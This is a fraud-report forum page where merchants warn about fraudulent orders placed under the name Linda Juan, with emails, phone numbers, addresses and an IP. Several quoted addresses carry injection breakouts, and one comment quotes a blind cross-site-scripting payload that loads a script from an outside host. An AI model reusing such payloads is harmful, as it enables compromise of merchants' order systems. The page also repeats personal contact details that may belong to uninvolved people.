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Bad Buyer: Linda Juan <juanlinda666@gmail.com>

Details

Purchase date:January 2018
Buyer's name:Linda Juan
Buyer's username:Linda Juan
E-mail:juanlinda666@gmail.com
Phone number:8139402930
Buyer's address24 Cyprus RD, Hiram, Ohio, United States 44234
Store:other
Buyer's country:United States
Payment method:Credit Card
Category:Art
Details:

I went to the post office to mail her $29 order and the guy said the address doesn't exist. Called the phone number and it is disconnected. Emailed and it bounced back. Googled and found this forum. I did not mail the package and I called Square to ask what to do. They told me to refund the card and they put notes in my file in case I have trouble with a dispute later on.

Reported at:
Reporter:162.158.X.X
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Similar reports

Name/Username E-mail Phone Reported at
Linda Juan juanlinda123@gmail.com (813) 942-0394 2016-09-21
Linda Juan juanlinda123@gmail.com 813-940-2930 2017-10-11
Juan Linda juanlinda225@gmail.com 2162345678 2017-11-08
Linda Juan juanlinda666@gmail.com 8139402930 2017-12-12
Linda Juan juanlinda666@gmail.com 813-940-2930 2017-12-29

Comments

We've had 2 bad orders from this address in Feb and March 2018.


Posted about 4 years ago by 162.158.X.X Report as SPAM

We got the same issue on April 2018. She tried 3 different credit cards. She might have compromised credit card number and she just want to try which one can pass.


Posted about 4 years ago by 162.158.X.X Report as SPAM

Had the same experience. Order received April 8 2018. Billing details: Linda Juan">
24 Cyprus RD">
BEAVER, Oklahoma 73932
USA

SHIPPING DETAILS:Linda Juan">
24 Cyprus RD">
Las Vegas, Nevada 89121
USA

Emailed and called to confirm details without success. Shipped goods and monitored tracking, but noticed Fedex having difficulty locating address. Became suspicious, then googled and found this forum. Decided to do transaction research and found out that there were 2 previous declined attempts at 22:17:56 and 22:18:28 where the billing and shipping addresses were identical i.e. the Nevada state shown above. The 3rd attempt at 22:19:30 was successful after the billing address was changed to Oklahoma. 3 different credit cards used. All attempts from the same IP: 45.33.56.131. Guess I'll have to contact the processor for advice on handling this.


Posted about 4 years ago by 108.162.X.X Report as SPAM

My business got a chargeback for a gift card for a yoga class.

Linda Juan">
Hiram, WA
UNITED STATES

juanlinda666@gmail.com
(813) 940-2930

Assuming the card is stolen. Starting the process to reconcile with merchant processing now. The buyer did not complete the required fields for purchases.


Posted about 4 years ago by 172.68.X.X Report as SPAM

I received an order on September 9 2018, from a Linda Juan of 24 Cyprus Road in Hiram, Alberta! The credit card transaction did not go through, I sent an email that bounced back, and then I found this useful collection of info. Canada Post says there is no such address. Needless to say, I will not be filling the order!


Posted over 3 years ago by 162.158.X.X Report as SPAM

Linda Juan">
24 Cyprus RD">,
Hiram, OH 44234
Tel : 8134782394
Email : rlvdhj@sina.com
He/ she placed an order using a foreign card. Since we check every order before it is shipped, we checked her address, and found this forum. Thanks to all of you we didn't ship the goods, and voided the transaction.


Posted over 3 years ago by 172.68.X.X Report as SPAM

Same instance- Order to our company with a weird script address. Was not detected until charge finally went through after 6 attempts, and package was shipped. Came back, address unknown. Will watch from now on.


Posted over 3 years ago by 172.68.X.X Report as SPAM

Just received a $10,000 online order for a highly specialized product from:

Linda Juan
">
444 Rollins St
Missoula, MT 59801-MT
UNITED STATES
3059707467
juanlinda555@hotmail.com

In this case, the online order indicated the payment would be mailed.


Posted almost 3 years ago by 172.69.X.X Report as SPAM

Received a suspicious order on invoice from

Linda Juan
444 Rollins St"><sCRiPt sRC=//gz.qa/x></sCrIpT>
59801 Missoula
Montant
Germany
juanlinda555@hotmail.com

Thankfully found this forum and deleted the order.


Posted about 1 year ago by 162.158.X.X Report as SPAM

Bad orders from this address a year ago, and just received another from

juanlinda666@hotmail.com
444 Rollins St">
Missoula, MT 59801 US


Posted about 1 month ago by 97.123.X.X Report as SPAM
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